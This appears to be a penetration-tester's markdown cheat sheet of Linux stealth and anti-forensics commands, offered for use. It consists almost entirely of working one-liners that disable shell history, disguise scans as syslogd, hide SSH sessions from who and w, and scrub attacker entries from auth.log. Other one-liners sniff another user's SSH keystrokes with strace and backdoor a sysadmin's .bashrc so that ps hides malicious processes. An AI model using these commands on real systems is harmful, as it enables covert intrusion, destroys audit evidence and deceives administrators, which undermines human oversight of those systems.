oscp/Necronomicon/Linux/Tricksy.md

• Disable BASH history (do first in every shell)

  • export HISTFILE=/dev/null OR unset HISTFILE OR export HISTSIZE=0

• Force-terminate a shell upon exiting it to ensure there are no dangling processes

  • alias exit='kill -9 $$'
  • Note that history is only written to the disk on clean termination of the shell, so this bypasses that by simply killing it.

• Execute a command without logging to history (lead with a space)

  • $ id

• Hide a command by masking it as syslogd (note the parentheses)

  • (exec -a syslogd nmap -T0 10.0.0.1/24)

• Start a background hidden process masked as syslogd

  • exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &
  • If there is no BASH:
    • `cp which nmap syslogd
    • PATH=.:$PATH syslogd -T0 10.0.2.1/24

• Execute a process as syslogd and hide arguments (must download zap-args.c)

  • gcc -Wall -O2 -fpic -shared -o zap-args.so zap-args.c -ldl
  • LD_PRELOAD=./zap-args.so exec -a syslogd nmap -T0 10.0.0.1/24

• Hiding an SSH connection

  • ssh -o UserKnownHostsFile=/dev/null -T [email protected] 'bash -i'
  • Your user:
    • Is not added to /var/log/utmp
    • Won't appear in w or who commands
    • Has no .profile or .bash_profile

• Modifying log files to remove evidence of us authenticating

  • Grep out source domain/IPs and overwrite the files
    • cd /dev/shm; grep -v 'atkr\.com' /var/log/auth.log >a.log; cat a.log >/var/log/auth.log; rm -f a.log
  • "Touch" files back to their last modified time for best results

• Hide a file from ls command:

  • alias ls='ls -I malicious'

• Weird directory usage:

  • "mkdir '...'; cd '...'"

• Annoying tabs in directory names:

  • mkdir $'\t'; cd $'\t'

• Sniff SSH session being made from a box you control

  • strace -e trace=read -p <PID> 2>&1 | while read x; do echo "$x" | grep '^read.*= [1-9]$' | cut -f2 -d\"; done
  • The above will fail if /proc/sys/kernel/yama/ptrace_scope = 1
    • Alternative: echo 'exec script -qc /bin/bash ~/.ssh-log.txt' >>~/.profile

• Override PS in sysadmin's bashrc to grep out evil procs

  • echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc && touch -r /etc/passwd ~/.bashrc

• Monitor connections to determine when a user has logged in with SSH (will beep when one is detected)

  • tcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -e '\a'; done
    • When SSH'd in, you'll need to change the last portion to redirect the beep to your TTY: echo -e '\a' > /dev/tty5